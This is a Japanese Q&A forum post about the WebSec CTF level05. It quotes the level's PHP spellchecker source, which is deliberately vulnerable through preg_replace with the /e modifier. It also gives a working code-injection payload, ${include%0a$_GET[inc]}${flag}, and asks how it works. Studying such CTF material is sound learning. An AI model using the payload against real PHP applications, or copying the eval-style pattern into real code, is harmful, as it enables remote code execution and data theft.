1. 背景
WebSec という常設CTFの level05 について考えていた際に生まれた疑問です。(問題ページ : https://websec.fr/level05/index.php)
問題のWebページに関しては、入力フォームに文字列を入力するとスペルチェッカーが変換してくれるというものです。
2. 質問
Writeup を参考にしてリクエストパラメータ ?q=${include%0a$_GET[inc]}${flag}&inc=flag.php
でフラグを獲得することができました。
一方で、「${include%0a$_GET[inc]}」の箇所がどういった動きをするのか分からない状況です。
そこで、「${}」内に関数を入れた場合にどのような動きをするのか教えて頂けると幸いです。
3. 問題のポイント
textareaタグ
のname属性
にq
を指定している。q
の処理については以下のような形。
source.php
1 $q = substr ($_REQUEST['q'], 0, 256);
source.php
1$corrected = preg_replace ("/([^$blacklist]{2,})/ie", 'correct ("\1")', $q);
$blacklist
に $ や {} が含まれていない。- 外部ファイル
flag.php
を読み込み、そこで定義されている$flag
を呼び出せそう。
4. ソースコード
source.php
1<!DOCTYPE html> 2<html> 3<head> 4 <title>#WebSec Level Five</title> 5 <link rel="stylesheet" href="../static/bootstrap.min.css" /> 6 <!-- Thanks to blotus for its help. --> 7</head> 8 <body> 9 <div id="main"> 10 <div class="container"> 11 <div class="row"> 12 <h1>LevelFive <small> - Spelling is important.</small></h1> 13 </div> 14 <div class="row"> 15 <p class="lead"> 16 Since it sims that no one now how to spell proper anglish anymore those days, 17 we ofer you <a href="source.php">this spellshaker</a>, written in pure php. 18 Be nice and do not brek it please. 19 <!-- If I had to guess, I would say that the $flag is defined in flag.php --> 20 </p> 21 </div> 22 </div> 23 <div class="container"> 24 <div class="row"> 25 <form name="wordchecker" method="post"> 26 <div class="form-group"> 27 <label for="word">Text to check</label> 28 <textarea class="form-control" id="word" name="q" placeholder="Your text" rows="8" required></textarea> 29 </div> 30 <button type="submit" class="btn btn-default" name="submit">Spellcheck</button> 31 </form> 32 </div> 33 <?php 34 ini_set('display_errors', 'on'); 35 ini_set('error_reporting', E_ALL ^ E_DEPRECATED); 36 37 if (isset ($_REQUEST['q']) and is_string ($_REQUEST['q'])): 38 require 'spell.php'; # implement the "correct($word)" function 39 40 $q = substr ($_REQUEST['q'], 0, 256); # Our spellchecker is a bit slow, do not DoS it please. 41 $blacklist = implode (["'", '"', '(', ')', ' ', '`']); 42 43 $corrected = preg_replace ("/([^$blacklist]{2,})/ie", 'correct ("\1")', $q); 44 ?> 45 <br><hr><br> 46 <div class="row"> 47 <div class="panel panel-default"> 48 <div class="panel-heading">Corrected text</div> 49 <div class="panel-body"> 50 <blockquote> 51 <?php echo $corrected; ?> 52 </blockquote> 53 </div> 54 </div> 55 </div> 56 <?php endif ?> 57 </div> 58 </div> 59 <script type="text/javascript" src="../static/bootstrap.min.js"></script> 60 </body> 61</html>
回答1件
あなたの回答
tips
プレビュー
バッドをするには、ログインかつ
こちらの条件を満たす必要があります。
2022/01/11 09:30
2022/01/11 11:31
2022/01/13 09:18